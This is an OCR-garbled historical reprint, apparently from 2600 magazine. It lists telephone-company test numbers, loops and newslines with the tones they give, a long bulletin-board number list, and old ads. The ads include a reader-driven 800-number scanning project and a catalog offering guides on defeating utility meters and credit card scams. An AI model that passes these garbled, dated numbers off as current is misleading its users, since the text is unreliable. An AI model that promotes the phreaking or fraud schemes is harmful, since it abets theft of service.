phone you are using"

People’'s Express Reservation systes
telephone cospany eaployee newsline
1000 hriz tone

{tone 1,2,3,4-tone, higher tone, bloop;
S-tone, bloop; 9,4~ static,beep;bloop!
*you have reached 212-369-7003 in zone
*m

ABC New York feed line

telephone esployee newsline

¢ sweep tone with echo it top of range

N

tone, bloop (1,2,5-tone bloop,
3,6,9-tone, higher tone,tone)

*please check your instruction sanual
or call repair service for assistance”
*if you like to make a call please hang
up and try again'

*We're sorry, your call did not go
through. *

"The call you have made requires & 25
cent deposit®

*You sust first dial a | when dialing
this nuaber.®

LOUD tone, stops, repeats

400 ohm teraination (silencel

tone, silence

215-489-0080 &
213-4B9-0097 :

215-4B%-0104 :
216-861-8300 :
301-256-9507 1
01-546-7777 ¢

301-725-9%04
305-263-0000

J05-994-%983 :
J05-9%4-9954

312-222-9%48

312-222-9954
1-222-9990 ¢
312-222-9996 ¢
312-368-8000

312-592-0000

313-223-7223
313-333-9981
313-333-9989 :

13-333-9990 »
313-333-9994 ¢

J3-333-9995
J13-173-9994
J3-430-4300
J13-498-9998 ;
H4-247-3311

J15-471-5934
408-235-0081 1
408-294-4959

408-395-1110 :

408-738-8190 :

408-745-6040 1

408-994-0044 :
412-533-3333 ¢
414-628-0001 :
414-528-0002 :

§00 cha tersination

tone, {lower pitched than -0078)
silence lalso at -0098)

1000 hrtz tone

tone, then higher tone

1000 hert:

*Due to Telephone Company facility
trouble your call cannot be completed
it this tise"

*deposit . 20"

repeating bloop {keypress 2 : siow
reorder w/ bloops, clicks)

piy fone instructions

"telephone you are calling from is not
in service"

tone (keypress 1,2,3,5,7,¢-tone,high
tone,bleep, 4-tone,bloop,

9, 4-static,beep,bloopl

"Test Center®

clicks, ticking like

LOUD tone, repeats

I11inois Bell Comsunicator (eaployee
newslinel

tone (keypress 2222, then other digits,
it re-order type 1 to restart) (?)
telephone eaployee newsline

LOUD tone, silence

high tone {enter touwchtones for a
while, eventually get “metallic® eche,
then 3-high pitched tone, randos
re-orders)

beep, click repeats, with "winks®
tene bloop (keypress in 2-tone,bloop,
J-tone,higher tone,tone,
9-static,beep,bloop}

400 cha teraination (silencel

wierd siren/sweep tone, aulti-frequency
beep, beep, beep, then recrder

SwEEp tone

Southwestern Bell Telenews leaployee
newslinel

*deposit 5 cents for next five minutes®
tany two 2,4,8,0-tone)

beep, click, computer voice repeats
nusber

{tone 2-bleep,glitch; 3-beep,higher
beep; ¥then nusber-loud tone,bleep)
ftone 1,3,8,7,0-tone, high

tone, tone; 2-beep, cluck: 9,4~
static,tone,beep!

high pitched tone, low tane then
repeats

tone end of loop

telephone company esployee newsline
continuous tone

continuous tone {higher pitched, sounds
Tike suted dial)



414-628-0004 ¢
414-628-000¢ :

414-628-0010 1
414-628-0011
414-628-0013 &

414-528-0014 :

A14-628-00135 1
414-628-0028 :

414-578-3511 1
414-781-0004 ¢

415-284-1111 5
415-327-0046 :
415-388-0037 ¢

415-472-004b 1
415-345-8800 :
415-467-0097 :
415-777-0020 3
45-T77-0037 3

415-717-0046 1
415-717-0105 :

415-B26-0022 :
413-994-0710 ¢
512-472-2181 :

512-472-42b3 :
$12-472-9833 :

512-472-9936 :

512-472-9941 :
516-222-3825
516-234-9%14 :
5146-751-9979
518-471-2272 3
S18-789-3299
b09-267-9966 &
609-267-9967 ¢
b09-267-9968 :
b03-267-9971 :
609-267-9%72 3

609-877-9924 :

high pitched tone, bloop, silence
briet very high tone (also -0007)
{sultiple keypresses of 2,5,0,0 tone
repeats)

loud tone, stops, repeats...

loud tone, stops

800 oha teraination (silence) (also
0017, two in an exchange?)
continous tone (sounds like wierd
diall, evenutally stops

LOUD tone, repeats

"Your call cannot be coapleted as
dialed

Wisconsin Bell Newsline

high tone, silence (keypress
2,5-beep,bleep, I,4-beep,longbeep,
bloop, 9-static,bloop!

one sweep, then silence

sweep tone

tone,bloop (keypress 2-tone,bloop,
3-tone,high tone,tone,
9-static,beep,bloop)

sweep w/ glitch at top

Pacitic Bell Newsline

fast DTNF tones, keypress to repeat
1000 hriz tone

tone, bloop (keypress 2-beep,bloop,
3,6-tone,higher tone,
§-static,beep,bloop)

sweep tone with echo

tone,blocp tkeypress 2-beep,bleep,
3, b-tone,higher tone,tone,
9-static,beep,bloop

tone, click, tone (sounds like a busy)
aultitude of clicks

*if you would like to make a call,
please hang up and try again®
garbled recording (2}

*you aust first dial a | or O before
calling this nusber®

*please check your instructions or call
your business office for assistance®
*insert 25 cents"

LOUD tone

New York Telephone Newsline

sweep tone

New York Telephone Newsline

weird busy, sultitude of clicks

busy with clicks in background

600 oha termination isilence)

1000 hrtz tone

LOUD tone, stops, repeats

rings with clicks in background {also
-9973 and -9974)

high tone (tome in !,2,3-tone, bloop;
3,6,8-tone, higher tone, bleep;
#-static, beep, bleep)

b09-877-9929 1
617-353-9933 :
b17-890-9900 1
b17-955-1111
619-748-0002 :

519-748-0003 3
J02-789-4711 :
713-354-0000 @
M3-482-3199

113-652-5111 1

717-235-5555 ¢
718-429-9900 :

B00-221-595% :
800-228-8464 :

B00-321-3048 :
800-321-3032 @
800-321-b36b :

800-323-6321 :
B00-327-0000 :

BO0-344-4001 :
BO0-524-0000 :
BOO-554-5924 :
BOO-B24-8274 :
802-955-1111 1
B0B-533-M425 :
816-391-1122 :
907-269-0955 :
914-232-9901 1

914-268-9901 &
914-268-9903

914-248-9968 :

914-139-9901 !

914-339-9940 &
914-523-9948 :

916-480-8000 1

1000 hrz tone

tone end of loop

suenp tone

telephone cospany esployee newsline
tone increases in pitch, silence,
repeats in aonotone

sweep, repeat, hangs up

Nevada Bell Newsline

touch tone in 8, then new #, then 3 -
listed, 9 - unlisted)

"We're sorry, all circuit are busy
now.*

touch tones echo back “setalic’,
something about “drivers licence
nusber® replys in a fesale recorded
voice

Bell of Pennsylvania "Inside Line®
{eaployee newsline)

"Please slide a valid credit card
through the slot now'

tone (¥ sakes it ring)

Sensaphone {ta) demo (tiae etc. (EST)
{mait 7+ rings))

non-connecting loop with 800-321-3049
loop (dent know where other end is)
Centagran’s Voice Meso Systes
{extension 100 for deso)

tone, stops, bloop repeats
*Announcesent three, Dallas® (changes
sonetines)

non-connecting loop with B00-344-4002
"Announcesent | Atlanta®

Cable Mews Metwork audio feed

*Enter your password service code"
teleghone coapany newsline

Hawaiian Telephone Newsline

recorder (keypress i-toggle on/off,
I-rewind, 4-stop, 7T-play)

tone (sounds like extender, doesn’t
take touch tone (7))

"Daytona, New York DNS-100
verification®

*Congers DNS 100 Veritication"

"your call cannot be cospleted as
dialed"

(keypress 2-high tone, 3-high, higher
tone, &,0-click, 7- hangs up, sometises
ﬂ,i,l-hiflbﬂfl

repeats the nusber dialed
(*914-359-9901")

wierd tone, stops, clicks, repeats
{keypress 2,5-beep glitch, 3,b-tone
highertone)

Pacific Bell Mewsline
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HEREISAN EXTENSIVELISTOF QVER 1500 BULLETIN BOARD NUMBERS. IF YOU HAVESOMETOADDOR FIND SOME
OF THESETHATDONT WORK, TELL US! WRITE TO 2600 INFORMATION BUREAU, BOX W, MIDDLE ISLAND, NY 11953
PLEASETRY TO INCLUDE BBS NAME, SUBJECT MATTER, BAUD RATE(S). FEES, OR OPERATING HOURS,
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S12-837-2003
512-852-5145
S12-857-8565
S12-B84-5115
§13-256-7227
$12-435.5201
5134890149
513-579-2587
5136219273
S12-671-2753
513-752-8248
S13-874-0226
S13-874-9609
S14-481-6329
514-487-2792
514-622-1274
£15-233-5254
515-683-5220
515-753-0607
516-226-0619
516-234-0925%
516-239-8153
516-271-3082
516-271-1285
516-286-2352
516-286-4823
516-292-0320
516-2930499
516-293-0791
516-293-8251
516-326-2907
516-328-1052
516-328-6460
516-331-3718
516-334-2668
516-334-3134
516-344-8361
S16-348-1671
516-348-3572
516-348-3611
516-348-7482
516-351-1784
516-351-4917
$16-354-8758
516-361-6744
516-361-7323
5 16-364-8544
$16-365-5168
516-365-8189
S16-367-8172
5he-367-8619
516-374-5071
516-379-8552
516-385-9310
5164200844
516-422-5691
516-431-3171
516-432-1458
516-433-2602
516-433-7507
516-454-6959
516-454-T608
516-462-9552
516-467-1387
516-473-1005
516-473-3438
516-473-8566
516-475-6453
516-482-8491
S16-4B4-6544
5 16-AB6-6066
S16-487-2848
S16-491-0877
S16-491-5425
516-496-2554
5164064577
$16-496-4721
S16-496-47135
516-536-2089
S16-536-T756
516-541-7949
516-543-3621
51 &6-549-068E
516-561-6590
S16-567-8267
516-569-0589
$16-574-2008
516-575-5838
516-579-51T8
S16-579-9664
516-579-9738
S16-581-8696
516-585-9829

516-586-3682
S16-586-9266
516-589-6175
5166210041
5166210985
516-621-2028
516-6235004
516626699
5166434943
516-661-2913
S16-661-9284
516-666-4034
516-667-5566
51666745362
516-671-5763
5166716195
516-673-3141
S16-673-5452
5166744059
516-674-4831
S16-681-0751
516-694-5500
516598 4008
516-724-0971
516-731-2697
S16-T35-1648
516-737-1429
S16-T41-6914
S16-742-1307
S16-751-5639
516-754-2224
516-166-8907
516-T73-3867
5167757312
S16-T75-9970
516-781-2050
S16-T83-5591
516-TEI-6862
516-TE36912
516-TE3-7296
516-TE9-E794
516-791-3745
516-194-1707
516-795-3463
516-795-6510
516-195-B418
516-T90-31285
516-822-5323
516-825-2753
516-829-4251
516-877-1184
516-878-B885
5169218739
5169226492
5169248115
516-928-8687
516929-3752
516931 7940
5169336076
516-935-36113
5169350051
516-944-31 16
516-944-5262
5169446594
5169446712
5169790090
5169810369
S16-997-7002
517-339-3347
518-M6-3506
518-370-8341
518-393-2467
601-264-2361
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602-327-5577
H02-574-0327
602-726-7533
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602-8900972
G029 4508
G02-952-1382
6029522018
6029522146
602-956-5021
H02957 4478
60299100144
603-436-3461
603-8E8 4488
G03-924-7920
039249820

604-362-2024
604-384-4711
G04-430-4145
604-437-7001
60d-438-2468
604-462-8633
604-562-9515
604-T38-1640
6049370906
6045410041
605-336-3935
605-624-0409
606-273-8634
G06-276-1957
60T-797-6416
GOR-233-1111
G08-233-8449
608-256-8088
608-262-3469
608.262-4939
608-262-4939
608-273-5037
G08-325-4910
609-228-1149
609-268-9597
G09-429-6530
G448 -E244
609 4568-5293
609-553-E268
609-396-2435
612-331-5047
6124235016
612472-2218
6124623-1156
61 2-724-T066
612-753-3082
61 2-854-96%1
612-929-6699
61 29298965
61 3-592-0240
613-725-2243
6138204646
61 3-8 204669
614-272-2227
614-436-5886
6144759791
614-532-69H)
6146876413
614-764-6744
Gl4-837-3269
615-2976037
615-528-5039
615-892-5080
6159676889
616-538-1041
616-493-2648
616-791-2109
616-897-8628
616-947-1246
617-235-5082
617-266-TT89
617-334-6369
617-353-7524
617-353.9312
6174494727
617-470-2548
6174786062
617-481-7147
617-528-9009
617-536-4670
617-577-8092
617-632-1861
61 7-646-3610
617-683-2119
617-4692-3973
61 7-T20- 3600
617-T21-1688
617-T69-0850
6178210649
6 T-424-4875
61 7-826-4085
61 7T-B48-82K1
617-853-7406
&1 78620781
6178744325
61 THE1-1128
6 T-HE 16495
6173894330
6179993210
61 8-345-6638
615659457
619-256-3914
619-265-3428

619-268-0437
619-170-1166
619-271-8611
619-272-1503
619-279-2851

619-283-1538
619-284-4448
G19-286-TRI8
619-377-5623
619-421-1305
6194344600
6194447006
6194447000
619-452-1869
GI9-461-5117
619-453-5477
619-5620759
H19-576-1362
619-578-2646
619-582-9557
619-691-8367
619-692-1961
&19-727-7500
619-729-T812
619-746-0667
619-746-6191
&619-T58-9057
6199427092
701-293-5973
701 -746-4959
01-TH0-3228
702-362-3609
T02-826-2337
02826-7234
TO2-H26-7277
TO2-E70-9986
T02-873-1752
703-321-7441
T013-342- 1800
T03-360-3812
T03-363-6978
T03-3E5-8384
TO3-4256308
T03-425-7229
T03-425-8452
T03-430-2535
T03-437-7871
TO3-4T76-5459
T03-536-3769
T03-560-0979
TOr3-560-T803
T03-590-9613
T03-591-5120
T03-620-3079
T03-665-0846
T03-667-1988
T03-670-5881
7036710598
703-680-5220
TO3-TH-1387
703-750-3842
703-759-3449
703-759-6627
703-765-2161
T03-L33.7355
T03-E36-0384
T03-0780351
039780921
T03-078-0502
T03-908-T625
Tiei-332-5439
T04-365-4311

T04-373-7966
T4-523-3257
MM-5315-6744
TM-ET3-5140
T0T-257-6502
074224767
T07-422-7256
TO7-527-5908
T07-538-9124
T07-7259202
T07-7259612
T07-7459751
T7-E26-0181

T7-8E4-422]

7079438002
TOT-6-2427
TI3-266-0711

713-266-5423
713-270-1427

7132808711

T13-331-2599

T13-332-8006
7133335004
711-342-9349
T13-356-7104
7133601316
T13-370-2292
T13-392-4953
713-426-7070
713-437-7260
T13-443-1165
T13-444-6863
TI3451-6455
T13452-0M6
134559502
TI3-463-0939
7134634621
T13-464-2330
T13-464-8814
T13-465-8995
713-466-0701
T13467-7113
7134680174
T13468-1770
71346985893
T13-471-2854
7134714131
T13-471-7458
713477-7475
7134795754
TI3-481-0455
7134816203
713482450
T13-482-5526
71 3-484-E8090
T13-485-9800
T13-488-2003
TI3488-5619
7134888771
TI3-4BR5TT8
7134928700
713-495-5020
TI3-496-7161
71349745633
TI3-497.5433
T13-521-3584
M 3.523-5000
T 3-526-3646
713-526-5671
713-530-0164
T-530-2304
TI1-546-3346
T13-550-4202
TI3-568-8453
T13-583-0001
T13-583-0403
T13-583-1287
TI-625-6254
T1 36446400
T13-6d45-5305
T1 36608252
T13-661-2768
T13-667-4787
T 36914939
TI3609.2073
TI3-721 0888
TI3-T23-5481
T13-726-0106
TI3-T12-1257
T13-729-5100
T13-729.9092
TI3-747-1232
137725259
T13-T72-5609
T13-T72-6006
T13-774-4481
T13-T76-8043
T13-T7T8-8156
713-780-2586
T13-£31-3768
TI3-859-2750
TI3-E59-4409
TI3-E70-8803
T13-890-0310
THI-H03-0424
T13-H954111

T13933-71353
7139376779
T13-84]-1542
T13-952-3210
713-955-71564
7138558120
7138559511

T3 95560300

713-381-4062
T13-581-8657
7135874163
713-997-2461
T13-999-1 205
T13-999-3474
714=354-5004
T14-359-3189
T14-523-5165
T14-530-4765
T14-530-8226
T14-534-1547
714-537-1155
714-537-1913
714-538-3103
T14-542-2468
T14-554-4520
714-591-1002
714-599-2109
T4-630-7104
714-631-4021
T14-6329117
T14-637-2004
71 4-042-4408
T14-650-6442
71 4-650-6093
7146751126
T4-676-33TE
TI4-681-0974
T14-731-6523
714-772-8868
T14-T74-T860
TI4-TE1-8774
T14-826-2986
TI4-826-7343
TI4-E30-5132
TI4-842-6344
TI4-855-3242
TI4-857-2470
TI4-E59-4976
TI4E5-T727
T14-898.-8634
T14952-2110
7145611135
TI4-974-6925
7149749788
714-981-2787
T14-535-2428
T16-227-1156
T16-244-0531
T6-323-1214
T6-626-4327
T16-832-1398
T16-B36-0064
T18-229-1189
T18-24|-2965
TI8-268-2062
TI8-331-1 185
718-332-5851
T18-351-2710
7182574112
T8-357-7610
T18-441-2755
7184421874
T18-452-15%9
TIB-494-6650
TIB-591-4487
T18-5560-2000
TIB-625-5931
TIB-H27-3874
TIB-629-0877
TI8-646-1983
T18-699-0861
TI8-T274290
T18-767-288]
TI8-T76-6386
TIB-B35-1195
TIE-E36-3019
TIE-849-3422
TI§-934-5573
B0 -224-2048
B01-255-4796
RN -260-1356
B0 1-264-8021
1 -266-8365
B -268-8831
BO1-2T7-500
B01-561-7478
B0 | -566-4551
81-575-5911
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015436360

BOI-9991 19
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8035480900
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B04-340-5246
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B04-481-1824
B04-491-1437
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BO5 4525472
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805-527-8664
BO5-584-6054
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RO8-245-2080
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B8 4223406
B08-456-1745
808-456-8689
B06 4860407
B0H-4R7-2001
BO8-487-8755
BOB-524-6652
B08-524-5669
B08-526-0719
BOR-HT24371
BOB-T35-6081
B0B-845.7143
B8 0440562
309-781-0150
812-3728130
813-254-4537
813-294-6233
B13-39]-5219
8134890840
BI1383-7276
8138669945
81 3-B75-8096
B13-B84-1506
BI3-B85-6187
BI3-887-3984
B13-937.3608
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E14-238-4857
E14-437-5647
B15-455-2406
B15-633-6533
EB15-654-5272
B15-838-1020
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EI6-483-2526
E16-5230304
EI16-587-9543
EI6031 9116
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£17-361 088K
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904.725.4995
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907-337-1984
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ADS

We had a brief period of experimentation with advertising in our early years. Many young publications fall under
the influence of this powerful addiction, but we were able to eventually break Iree of its evil clutches. Actually, it
wasn't so bad, but it didn't really fit in with what we were trying to do, However, we felt it best to acknowledge
this piece of our history by reproducing those ads here, as well as our own house ads, which continue to this day.
Just remember that nothing offered here still applies. But you knew that.



Are You Reading Someone Else’s Copy of 2600?
WHY NOT SUBSCRIBE?
® You'll get your very own copy at the same
time of every month.
@ You won't lose your eyesight trying to read
small print that's been copied six times or more!
@ You'll be helping 2600 become financially
solvent, which will result in a better publication.
® By getting more subscribers, we can keep the
price of 2600 down—maybe even lower it!
OUR MAILING LISTS WILL NEVER BE SOLD,
GIVEN AWAY, OR LOOKED AT BY ANYONE OUT-
SIDE OF 2600.

FREEDOM INSURANCE:

OLTERATE  IDENTITY Book, $10, Dealers

Survival Book 1ist, $2. SUPER
CeRr T eTaL Reter) | berdice info,
$2,  Computer <cervices list, $2.

Tech-Group, Box 93124, Pasadena, CA
91109,

—— PASSPORTS,——
Dusl  Citizenships, still available

from the Principality of Castellania.
Info, $5. Reps Wanted info $2 extra.
Eox 40201, Pasadena, CA 91104

Advertise in 2600!
That's right, America’s #1 phone phreak/computer
hacker newsletter is now offering advertising! No, we
haven't sold out. As we have always stated, our
purpose is to bring phreaks and hackers out into
the open where their talents will be appreciated.
By providing advertisements, we keep you updated
on the latest technological toys and help defray
the costs of our publication.
2600 is read by people all over the world who are active
participants in high technology. Swarms of security
minded people also subscribe. If you want to reach this
select crowd, why not consider taking out an ad in the
newsletter they read? Call 516-751-2600 for more informa-
tion. We offer a 10% discount to subscribers.

The Private Sector Has Gone 10 Meg!
mshavewlmour' Dmig‘eﬂ%emmgigkm:me
Accesin:opeﬂlaall We have mw“
IB Questions.
Ty Socurtly

Comy
Call The Private Sector for the most interesting and
vmelhgem tnk on icecommurications and computers

Call Today! 201 365-4431 (300/1200)

Advertise in 2600!
Reach over 1,000 selective
readers—hackers, security
analysts, corporate spies,

private consultants, and
people who are just
interested in what's
going on.
Call 516-751-2600 for info.

Announcing The Great
800 Scan!

*kk

Right

g v.fvomands of 800 numbers in an effort to collect
tion. Soon an amazing list of computers, voice mail

sys\n'ns ‘extenders, PBX's, test numbers, and service numbers

will be compiled! And you can be a part of this. Just:

* Pick your favorlte 800 exchange (i

.
 Then dial away, laking nofe of what you find
‘and what area code you're calling from.

FOR MORE DETAILS
CALL OUR OFFICE AT
516-751-2600 AND
ASK TO SPEAK TO AN
800 SCAN COORDINATOR.

We will be keeping track of what has already
i ivity is

out.
FREE and LEGAL!!

Attention Readers!

!
Demand for back issues has grown so much that we're in
the process of reprinting our entire inventory. As a result,
‘we're going to be raising the price on back issues to $2
each. This is necessary to cover the time and expense
involved in doing this. However, our present subscribers
(you) can still get back issues at the old price ($1) if your
e et Septarbor 1o
e A RN PR WA S AN 1504

Send all requests to:
2600 Back Issues Dept.

Box 752
Middle Istand, NY 11953-0762

(516) 751-2600
ALLOW 4 WEEKS FOR DELIVERY

EQUIPMENT
Security, Privacy, Police
Surveillance, Countermeasures, Telephone
BOOKS
Secret Reports, Forbidden Knowledge
oo

SEND $10.00 FOR LARGE CATALOG AND ONE YEAR UPDATES

SHERWOOD COMMUNICATIONS
Philmont Commons
2789 Philmont Avenue Suite #108T
Huntingdon Valley, PA 19006

ATTENTION READERS!
Last » YOou

month

received an orange

postage—paid
- card.
Please fill
and mail it now-
We have received
many, but mome of
you have not yet
ment it in-
take the time to
it out, we
can try to
accomodate your

criticism.
If you wish to

whine and complain

at great
send a letter
includes any
suggestions

Island,
11953—009F .

2600
mokes o

Chwisimos
w.&"?""’ o sy
of hacker o subscription.

it out

If you

and we will

*kkkk INFOWANTED *xxkk

Will pay reasonable price for:
® Telco service'rep manual
@ Info on toll libraries
® Library codes
® Remobs

Also would like to meet 2600 type people

in Chicago area

MR. THORHAMMER

P.0. BOX 8—STATION F

BUFFALO, NY 14212

Attention Readers!

toyou. Whether itis anarticle, data, or an interesting news
item—if you have something to offer, send i to us!
Remember, much of 2600
is written by YOU. our readers,
NOTE: WE WILL ONLY PRINT A Y/ CFICALLY REQUESTED.

Callour office or BBS \Dalrangean uplam SendUS mailto

2600 Editorial Dept.

Box 762

Middle Island, NY 11953-0762

(516) 751-2600

Attention Readers'

toyou. Whether it i licle, data,
item—if you have something to offer, send it to us!
Remember, much of 2600

is written by YOU, our readers.
'NOTE:WE WLLL ONLY PRINT A BYLINE FF SPECFICALLY REQUESTED,

2600 Editorial Dept.
Box 762

Middie Island, NY 11953-0762
(516) 751-2600

SHOCKING BOOKS!

CONSUMERTRONICS CO. - The National Clearing-
In
Sitees Over 701 Sorvival Fubications on Elecironics
Computers, Energy, Weapons, Medical, Financial -
including:
( ) TONE DEAF (phones) (57)
() TELEPHONE RECORDER INTERFACE (§7)
( ) STOPPING POWER METERS (57)
() IRON GONADS (electric meters) ($7)
() KW-HR METERS ($15)
( ) RIPPLED OFF! (el:cmc) ($7)
( )UBERAT GAS & WATER (57)
( )GAS FO' ALL! (gas & el fe) (512)
{ ) ROTOMATIC TEL £ MACHINES (0)
( ) CREDIT CARD SCAMS ($9)
( ) ABSOLUTE COMPUTER FILE SECURITY
{(++ $1,000 Contest) ($25)
( ) COMPUTER PHREAKING ($15)
) TV DECODERS & CONVERTERS (58)
( ) VOICE DISGUISER ($8)
( ) ELECTROMAGNETIC GRMNBLASTER (525:
By John 3. Williams, M.S.E.E. (o S Pro-
ssor) 35 seen on GBS 7 MINUTESH, ABC. Taikihows
- many morel! “FREE $1 shacking SUPEI
CATALOG for all orders over
ship/hel for your order.

Consumertronics Co.
2011 CRESCENT DR, P. O. DRAWER 537,
ALAMOGORDO, NM 88310

R-SURVIVAL
Please add §3

FPlease excuse

assistance is
greatly
welcomed- our

modem
open .-

is always



